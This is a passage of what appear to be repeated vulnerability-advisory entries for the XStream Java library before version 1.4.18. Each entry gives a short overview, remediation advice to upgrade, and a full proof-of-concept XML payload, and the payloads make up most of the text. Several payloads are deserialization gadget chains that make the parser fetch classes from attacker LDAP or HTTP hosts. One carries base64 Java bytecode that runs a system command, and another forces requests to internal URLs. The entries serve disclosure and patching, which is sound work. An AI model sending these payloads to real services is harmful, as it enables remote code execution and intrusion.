                                      <default>
                                        <ordered>false</ordered>
                                        <attrID>objectClass</attrID>
                                      </default>
                                      <int>1</int>
                                      <string>javanamingreference</string>
                                    </javax.naming.directory.BasicAttribute>
                                    <com.sun.jndi.ldap.LdapAttribute>
                                      <default>
                                        <rdn class='com.sun.jndi.ldap.LdapName' serialization='custom'>
                                          <com.sun.jndi.ldap.LdapName>
                                            <string>cn=four,cn=three,cn=two,cn=one</string>
                                            <boolean>false</boolean>
                                          </com.sun.jndi.ldap.LdapName>
                                        </rdn>
                                      </default>
                                    </com.sun.jndi.ldap.LdapAttribute>
                                  </com.sun.jndi.ldap.LdapAttribute>
                                  <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                                    <javax.naming.directory.BasicAttribute>
                                      <default>
                                        <ordered>false</ordered>
                                        <attrID>javaCodeBase</attrID>
                                      </default>
                                      <int>1</int>
                                      <string>http://127.0.0.1:8080/</string>
                                    </javax.naming.directory.BasicAttribute>
                                    <com.sun.jndi.ldap.LdapAttribute>
                                      <default/>
                                    </com.sun.jndi.ldap.LdapAttribute>
                                  </com.sun.jndi.ldap.LdapAttribute>
                                  <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                                    <javax.naming.directory.BasicAttribute>
                                      <default>
                                        <ordered>false</ordered>
                                        <attrID>javaClassName</attrID>
                                      </default>
                                      <int>1</int>
                                      <string>refObj</string>
                                    </javax.naming.directory.BasicAttribute>
                                    <com.sun.jndi.ldap.LdapAttribute>
                                      <default/>
                                    </com.sun.jndi.ldap.LdapAttribute>
                                  </com.sun.jndi.ldap.LdapAttribute>
                                  <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                                    <javax.naming.directory.BasicAttribute>
                                      <default>
                                        <ordered>false</ordered>
                                        <attrID>javaFactory</attrID>
                                      </default>
                                      <int>1</int>
                                      <string>ExecTemplateJDK7</string>
                                    </javax.naming.directory.BasicAttribute>
                                    <com.sun.jndi.ldap.LdapAttribute>
                                      <default/>
                                    </com.sun.jndi.ldap.LdapAttribute>
                                  </com.sun.jndi.ldap.LdapAttribute>
                                </javax.naming.directory.BasicAttribute>
                              </attributes>
                            </com.sun.jndi.ldap.LdapEntry>
                          </entries>
                          <limit>2</limit>
                          <posn>0</posn>
                          <homeCtx/>
                          <more>true</more>
                          <hasMoreCalled>true</hasMoreCalled>
                        </aliases>
                      </it>
                    </mm>
                  </multiPart>
                </sm>
              </message>
            </com.sun.xml.internal.ws.api.message.Packet>
          </edits>
          <indexOfNextAdd>0</indexOfNextAdd>
          <limit>100</limit>
        </javax.swing.undo.UndoManager>
      </listenerList>
    </default>
    <string>java.lang.InternalError</string>
    <javax.swing.undo.UndoManager reference='../default/listenerList/javax.swing.undo.UndoManager'/>
    <null/>
  </javax.swing.event.EventListenerList>
</javax.swing.event.EventListenerList>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>test</type>
    <value class='javax.swing.MultiUIDefaults' serialization='custom'>
      <unserializable-parents/>
      <hashtable>
          <default>
            <loadFactor>0.75</loadFactor>
            <threshold>525</threshold>
          </default>
          <int>700</int>
          <int>0</int>
      </hashtable>
      <javax.swing.UIDefaults>
          <default>
            <defaultLocale>zh_CN</defaultLocale>
            <resourceCache/>
          </default>
      </javax.swing.UIDefaults>
      <javax.swing.MultiUIDefaults>
          <default>
            <tables>
            <javax.swing.UIDefaults serialization='custom'>
              <unserializable-parents/>
              <hashtable>
                <default>
                  <loadFactor>0.75</loadFactor>
                  <threshold>525</threshold>
                </default>
                <int>700</int>
                <int>1</int>
                <string>lazyValue</string>
                <javax.swing.UIDefaults_-ProxyLazyValue>
                  <className>javax.naming.InitialContext</className>
                  <methodName>doLookup</methodName>
                  <args>
                    <string>ldap://127.0.0.1:1389/#evil</string>
                  </args>
                </javax.swing.UIDefaults_-ProxyLazyValue>
              </hashtable>
              <javax.swing.UIDefaults>
                <default>
                  <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
                  <resourceCache/>
                </default>
              </javax.swing.UIDefaults>
            </javax.swing.UIDefaults>
            </tables>
          </default>
      </javax.swing.MultiUIDefaults>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>test</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog
• Nuclei Templates

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
      <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
        <parsedMessage>true</parsedMessage>
        <soapVersion>SOAP_11</soapVersion>
        <bodyParts/>
        <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
          <attachmentsInitialized>false</attachmentsInitialized>
          <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
            <soapPart/>
            <mm>
              <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                <aliases class='com.sun.jndi.toolkit.dir.ContextEnumerator'>
                  <children class='javax.naming.directory.BasicAttribute$ValuesEnumImpl'>
                    <list class='com.sun.xml.internal.dtdparser.SimpleHashtable'>
                      <current>
                        <hash>1</hash>
                        <key class='javax.naming.Binding'>
                          <name>ysomap</name>
                          <isRel>false</isRel>
                            <boundObj class='com.sun.jndi.ldap.LdapReferralContext'>
                              <refCtx class='javax.naming.spi.ContinuationDirContext'>
                                <cpe>
                                  <stackTrace/>
                                  <suppressedExceptions class='java.util.Collections$UnmodifiableRandomAccessList' resolves-to='java.util.Collections$UnmodifiableList'>
                                    <c class='list'/>
                                    <list reference='../c'/>
                                  </suppressedExceptions>
                                  <resolvedObj class='javax.naming.Reference'>
                                    <className>EvilObj</className>
                                    <addrs/>
                                    <classFactory>EvilObj</classFactory>
                                    <classFactoryLocation>http://127.0.0.1:1099/</classFactoryLocation>
                                  </resolvedObj>
                                  <altName class='javax.naming.CompoundName' serialization='custom'>
                                    <javax.naming.CompoundName>
                                      <properties/>
                                      <int>1</int>
                                      <string>ysomap</string>
                                    </javax.naming.CompoundName>
                                  </altName>
                                </cpe>
                              </refCtx>
                              <skipThisReferral>false</skipThisReferral>
                              <hopCount>0</hopCount>
                            </boundObj>
                        </key>
                      </current>
                      <currentBucket>0</currentBucket>
                      <count>0</count>
                      <threshold>0</threshold>
                    </list>
                  </children>
                  <currentReturned>true</currentReturned>
                  <currentChildExpanded>false</currentChildExpanded>
                  <rootProcessed>true</rootProcessed>
                  <scope>2</scope>
                </aliases>
              </it>
            </mm>
          </multiPart>
        </sm>
      </message>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
      <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
        <parsedMessage>true</parsedMessage>
        <soapVersion>SOAP_11</soapVersion>
        <bodyParts/>
        <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
          <attachmentsInitialized>false</attachmentsInitialized>
          <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
            <soapPart/>
            <mm>
              <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                <aliases class='com.sun.jndi.ldap.LdapSearchEnumeration'>
                  <listArg class='javax.naming.CompoundName' serialization='custom'>
                    <javax.naming.CompoundName>
                      <properties/>
                      <int>1</int>
                      <string>ysomap</string>
                    </javax.naming.CompoundName>
                  </listArg>
                  <cleaned>false</cleaned>
                  <res>
                    <msgId>0</msgId>
                    <status>0</status>
                  </res>
                  <enumClnt>
                    <isLdapv3>false</isLdapv3>
                    <referenceCount>0</referenceCount>
                    <pooled>false</pooled>
                    <authenticateCalled>false</authenticateCalled>
                  </enumClnt>
                  <limit>1</limit>
                  <posn>0</posn>
                  <homeCtx>
                    <__contextType>0</__contextType>
                    <port__number>1099</port__number>
                    <hostname>127.0.0.1</hostname>
                    <clnt reference='../../enumClnt'/>
                    <handleReferrals>0</handleReferrals>
                    <hasLdapsScheme>true</hasLdapsScheme>
                    <netscapeSchemaBug>false</netscapeSchemaBug>
                    <referralHopLimit>0</referralHopLimit>
                    <batchSize>0</batchSize>
                    <deleteRDN>false</deleteRDN>
                    <typesOnly>false</typesOnly>
                    <derefAliases>0</derefAliases>
                    <addrEncodingSeparator/>
                    <connectTimeout>0</connectTimeout>
                    <readTimeout>0</readTimeout>
                    <waitForReply>false</waitForReply>
                    <replyQueueSize>0</replyQueueSize>
                    <useSsl>false</useSsl>
                    <useDefaultPortNumber>false</useDefaultPortNumber>
                    <parentIsLdapCtx>false</parentIsLdapCtx>
                    <hopCount>0</hopCount>
                    <unsolicited>false</unsolicited>
                    <sharable>false</sharable>
                    <enumCount>1</enumCount>
                    <closeRequested>false</closeRequested>
                  </homeCtx>
                  <more>true</more>
                  <hasMoreCalled>true</hasMoreCalled>
                  <startName class='javax.naming.ldap.LdapName' serialization='custom'>
                    <javax.naming.ldap.LdapName>
                      <default/>
                      <string>uid=ysomap,ou=oa,dc=example,dc=com</string>
                    </javax.naming.ldap.LdapName>
                  </startName>
                  <searchArgs>
                    <name class='javax.naming.CompoundName' reference='../../listArg'/>
                    <filter>ysomap</filter>
                    <cons>
                      <searchScope>1</searchScope>
                      <timeLimit>0</timeLimit>
                      <derefLink>false</derefLink>
                      <returnObj>true</returnObj>
                      <countLimit>0</countLimit>
                    </cons>
                    <reqAttrs/>
                  </searchArgs>
                  <entries>
                    <com.sun.jndi.ldap.LdapEntry>
                      <DN>uid=songtao.xu,ou=oa,dc=example,dc=com</DN>
                      <attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
                        <default>
                          <ignoreCase>false</ignoreCase>
                        </default>
                        <int>4</int>
                        <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                          <javax.naming.directory.BasicAttribute>
                            <default>
                              <ordered>false</ordered>
                              <attrID>objectClass</attrID>
                            </default>
                            <int>1</int>
                            <string>javaNamingReference</string>
                          </javax.naming.directory.BasicAttribute>
                          <com.sun.jndi.ldap.LdapAttribute>
                            <default>
                              <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
                                <javax.naming.CompositeName>
                                  <int>0</int>
                                </javax.naming.CompositeName>
                              </rdn>
                            </default>
                          </com.sun.jndi.ldap.LdapAttribute>
                        </com.sun.jndi.ldap.LdapAttribute>
                        <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                          <javax.naming.directory.BasicAttribute>
                            <default>
                              <ordered>false</ordered>
                              <attrID>javaCodeBase</attrID>
                            </default>
                            <int>1</int>
                            <string>http://127.0.0.1/</string>
                          </javax.naming.directory.BasicAttribute>
                          <com.sun.jndi.ldap.LdapAttribute>
                            <default>
                              <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
                                <javax.naming.CompositeName>
                                  <int>0</int>
                                </javax.naming.CompositeName>
                              </rdn>
                            </default>
                          </com.sun.jndi.ldap.LdapAttribute>
                        </com.sun.jndi.ldap.LdapAttribute>
                        <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                          <javax.naming.directory.BasicAttribute>
                            <default>
                              <ordered>false</ordered>
                              <attrID>javaClassName</attrID>
                            </default>
                            <int>1</int>
                            <string>foo</string>
                          </javax.naming.directory.BasicAttribute>
                          <com.sun.jndi.ldap.LdapAttribute>
                            <default>
                              <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
                                <javax.naming.CompositeName>
                                  <int>0</int>
                                </javax.naming.CompositeName>
                              </rdn>
                            </default>
                          </com.sun.jndi.ldap.LdapAttribute>
                        </com.sun.jndi.ldap.LdapAttribute>
                        <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                          <javax.naming.directory.BasicAttribute>
                            <default>
                              <ordered>false</ordered>
                              <attrID>javaFactory</attrID>
                            </default>
                            <int>1</int>
                            <string>EvilObj</string>
                          </javax.naming.directory.BasicAttribute>
                          <com.sun.jndi.ldap.LdapAttribute>
                            <default>
                              <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
                                <javax.naming.CompositeName>
                                  <int>0</int>
                                </javax.naming.CompositeName>
                              </rdn>
                            </default>
                          </com.sun.jndi.ldap.LdapAttribute>
                        </com.sun.jndi.ldap.LdapAttribute>
                      </attributes>
                    </com.sun.jndi.ldap.LdapEntry>
                  </entries>
                </aliases>
              </it>
            </mm>
          </multiPart>
        </sm>
      </message>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='javax.swing.MultiUIDefaults' serialization='custom'>
      <unserializable-parents/>
      <hashtable>
        <default>
          <loadFactor>0.75</loadFactor>
          <threshold>525</threshold>
        </default>
        <int>700</int>
        <int>0</int>
      </hashtable>
      <javax.swing.UIDefaults>
        <default>
          <defaultLocale>zh_CN</defaultLocale>
          <resourceCache/>
        </default>
      </javax.swing.UIDefaults>
      <javax.swing.MultiUIDefaults>
        <default>
          <tables>
            <javax.swing.UIDefaults serialization='custom'>
              <unserializable-parents/>
              <hashtable>
                <default>
                  <loadFactor>0.75</loadFactor>
                  <threshold>525</threshold>
                </default>
                <int>700</int>
                <int>1</int>
                <string>ggg</string>
                <javax.swing.UIDefaults_-ProxyLazyValue>
                  <className>javax.naming.InitialContext</className>
                  <methodName>doLookup</methodName>
                  <args>
                    <arg>ldap://localhost:1099/CallRemoteMethod</arg>
                  </args>
                </javax.swing.UIDefaults_-ProxyLazyValue>
              </hashtable>
              <javax.swing.UIDefaults>
                <default>
                  <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
                  <resourceCache/>
                </default>
              </javax.swing.UIDefaults>
            </javax.swing.UIDefaults>
          </tables>
        </default>
      </javax.swing.MultiUIDefaults>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<linked-hash-set>
  <dynamic-proxy>
    <interface>map</interface>
    <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
      <classToInvocationHandler class='linked-hash-map'/>
      <defaultHandler class='sun.tracing.NullProvider'>
        <active>true</active>
        <providerType>java.lang.Object</providerType>
        <probes>
          <entry>
            <method>
              <class>java.lang.Object</class>
              <name>hashCode</name>
              <parameter-types/>
            </method>
            <sun.tracing.dtrace.DTraceProbe>
              <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'/>
                <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                  <default>
                    <__name>Pwnr</__name>
                    <__bytecodes>
                      <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAbeXNvc2VyaWFsL1B3bmVyNjMzNTA1NjA2NTkzAQAdTHlzb3NlcmlhbC9Qd25lcjYzMzUwNTYwNjU5MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
                      <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
                    </__bytecodes>
                    <__transletIndex>-1</__transletIndex>
                    <__indentNumber>0</__indentNumber>
                  </default>
                </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
              </proxy>
              <implementing__method>
                <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                <name>getOutputProperties</name>
                <parameter-types/>
              </implementing__method>
            </sun.tracing.dtrace.DTraceProbe>
          </entry>
        </probes>
      </defaultHandler>
    </handler>
  </dynamic-proxy>
</linked-hash-set>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• GitHub Advisory
• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <javax.naming.ldap.Rdn_-RdnEntry>
      <type>12345</type>
      <value class='com.sun.org.apache.xpath.internal.objects.XString'>
        <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: &#x3C;none&#x3E;</m__obj>
      </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
    <javax.naming.ldap.Rdn_-RdnEntry>
      <type>12345</type>
      <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
        <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
          <parsedMessage>true</parsedMessage>
          <soapVersion>SOAP_11</soapVersion>
          <bodyParts/>
          <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
            <attachmentsInitialized>false</attachmentsInitialized>
            <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
              <soapPart/>
              <mm>
                <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                  <aliases class='com.sun.jndi.ldap.LdapBindingEnumeration'>
                    <homeCtx>
                      <hostname>233.233.233.233</hostname>
                      <port__number>2333</port__number>
                      <clnt class='com.sun.jndi.ldap.LdapClient'/>
                    </homeCtx>
                    <hasMoreCalled>true</hasMoreCalled>
                    <more>true</more>
                    <posn>0</posn>
                    <limit>1</limit>
                    <entries>
                      <com.sun.jndi.ldap.LdapEntry>
                        <DN>uid=songtao.xu,ou=oa,dc=example,dc=com</DN>
                        <attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
                          <javax.naming.directory.BasicAttribute>
                            <default>
                              <ignoreCase>false</ignoreCase>
                            </default>
                            <int>4</int>
                            <javax.naming.directory.BasicAttribute serialization='custom'>
                              <javax.naming.directory.BasicAttribute>
                                <default>
                                  <ordered>false</ordered>
                                  <attrID>objectClass</attrID>
                                </default>
                                <int>1</int>
                                <string>javanamingreference</string>
                              </javax.naming.directory.BasicAttribute>
                            </javax.naming.directory.BasicAttribute>
                            <javax.naming.directory.BasicAttribute serialization='custom'>
                              <javax.naming.directory.BasicAttribute>
                                <default>
                                  <ordered>false</ordered>
                                  <attrID>javaCodeBase</attrID>
                                </default>
                                <int>1</int>
                                <string>http://127.0.0.1:2333/</string>
                              </javax.naming.directory.BasicAttribute>
                            </javax.naming.directory.BasicAttribute>
                            <javax.naming.directory.BasicAttribute serialization='custom'>
                              <javax.naming.directory.BasicAttribute>
                                <default>
                                  <ordered>false</ordered>
                                  <attrID>javaClassName</attrID>
                                </default>
                                <int>1</int>
                                <string>refClassName</string>
                              </javax.naming.directory.BasicAttribute>
                            </javax.naming.directory.BasicAttribute>
                            <javax.naming.directory.BasicAttribute serialization='custom'>
                              <javax.naming.directory.BasicAttribute>
                                <default>
                                  <ordered>false</ordered>
                                  <attrID>javaFactory</attrID>
                                </default>
                                <int>1</int>
                                <string>Evil</string>
                              </javax.naming.directory.BasicAttribute>
                            </javax.naming.directory.BasicAttribute>
                          </javax.naming.directory.BasicAttribute>
                        </attributes>
                      </com.sun.jndi.ldap.LdapEntry>
                    </entries>
                  </aliases>
                </it>
              </mm>
            </multiPart>
          </sm>
        </message>
      </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. This vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream with a Java runtime version 14 to 8. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

PoC

<map>
  <entry>
    <jdk.nashorn.internal.runtime.Source_-URLData>
      <url>http://localhost:8080/internal/</url>
      <cs>GBK</cs>
      <hash>1111</hash>
      <array>b</array>
      <length>0</length>
      <lastModified>0</lastModified>
    </jdk.nashorn.internal.runtime.Source_-URLData>
    <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
  </entry>
  <entry>
    <jdk.nashorn.internal.runtime.Source_-URLData>
      <url>http://localhost:8080/internal/</url>
      <cs reference='../../../entry/jdk.nashorn.internal.runtime.Source_-URLData/cs'/>
      <hash>1111</hash>
      <array>b</array>
      <length>0</length>
      <lastModified>0</lastModified>
    </jdk.nashorn.internal.runtime.Source_-URLData>
    <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
  </entry>
</map>

XStream xstream = new XStream();
